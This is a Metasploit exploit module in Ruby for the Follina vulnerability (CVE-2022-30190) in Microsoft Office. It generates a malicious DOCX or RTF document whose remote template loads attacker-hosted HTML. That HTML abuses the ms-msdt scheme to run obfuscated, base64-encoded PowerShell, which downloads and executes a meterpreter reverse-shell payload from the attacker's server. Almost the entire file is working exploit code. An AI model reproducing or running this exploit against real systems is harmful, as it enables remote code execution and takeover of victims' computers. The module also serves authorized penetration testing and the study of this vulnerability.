##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word MSDTJS',
        'Description' => %q{
          This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template
          feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.
        },
        'References' => [
          ['CVE', '2022-30190'],
          ['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'],
          ['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'],
          ['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'],
          ['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'],
          ['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'],
          ['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190']
        ],
        'Author' => [
          'nao sec', # Original disclosure.
          'mekhalleh (RAMELLA Sébastien)', # Zeop CyberSecurity
          'bwatters-r7' # RTF support
        ],
        'DisclosureDate' => '2022-05-29',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'DisablePayloadHandler' => false,
          'FILENAME' => 'msf.docx',
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
          'SRVHOST' => Rex::Socket.source_address('1.2.3.4')
        },
        'Targets' => [
          [ 'Microsoft Office Word', {} ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Follina'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']),
      OptEnum.new('OUTPUT_FORMAT', [true, 'File format to use [docx, rtf].', 'docx', %w[docx rtf]]),
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def get_template_path
    datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx')
  end

  def generate_html
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1"

    dummy = ''
    (1..random_int(61, 100)).each do |_n|
      dummy += '//' + rand_text_alpha(100) + "\n"
    end

    cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')")

    js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";"
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')

      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end

    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += "\n#{dummy}\n#{js_content}\n"
    html += '</script></body></html>'

    html
  end

  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end

    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end

    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}&#x21;")
      end
    end
  end

  def normalize_uri(*strs)
    new_str = strs * '/'

    new_str = new_str.gsub!('//', '/') while new_str.index('//')

    # makes sure there's a starting slash
    unless new_str.start_with?('/')
      new_str = '/' + new_str
    end

    new_str
  end

  def on_request_uri(cli, request)
    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }

    if request.method.eql? 'HEAD'
      send_response(cli, '', header_html)
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''

      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')

      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.ps1'
      print_status('Sending PowerShell Payload')

      send_response(cli, @payload_data, header_html)
    end
  end

  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def build_rtf
    print_status('Generating a malicious rtf file')

    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    uri_space = 76 # this includes the required null character
    uri_max = uri_space - 1
    if uri.length > uri_max
      fail_with(Failure::BadConfig, "The total URI must be no more than #{uri_max} characters")
    end
    # we need the hex string of the URI encoded as UTF-8 and UTF-16
    uri.force_encoding('utf-8')
    uri_utf8_hex = uri.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
    uri_utf8_hex << '0' * ((uri_space * 2) - uri_utf8_hex.length)

    uri_utf16 = uri.encode('utf-16')
    # remove formatting char and convert to hex
    uri_utf16_hex = uri_utf16[1..].each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
    uri_utf16_hex << '0' * ((uri_space * 4) - uri_utf16_hex.length)
    rtf_file_data = exploit_data('CVE-2022-30190', 'cve_2022_30190_rtf_template.rtf')
    rtf_file_data.gsub!('REPLACE_WITH_URI_STRING_ASCII', uri_utf8_hex)
    rtf_file_data.gsub!('REPLACE_WITH_URI_STRING_UTF16', uri_utf16_hex)
    rtf_file_data.gsub!('REPLACE_WITH_URI_STRING', uri)
    file_create(rtf_file_data)
  end

  def build_docx
    print_status('Generating a malicious docx file')

    template_path = get_template_path
    unless File.extname(template_path).downcase.end_with?('.docx')
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end

    @docx = unpack_docx(template_path)
    print_status('Injecting payload in docx document')
    inject_docx
    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)
  end

  def primer
    @proto = (datastore['SSL'] ? 'https' : 'http')

    if datastore['OUTPUT_FORMAT'] == 'rtf'
      build_rtf
    else
      build_docx
    end
    @payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
    super
  end

  def random_int(min, max)
    rand(max - min) + min
  end

  def unpack_docx(template_path)
    document = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.downcase.end_with?('.xml', '.rels')
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        document << { fname: entry.name, data: content }
      end
    end

    document
  end

end
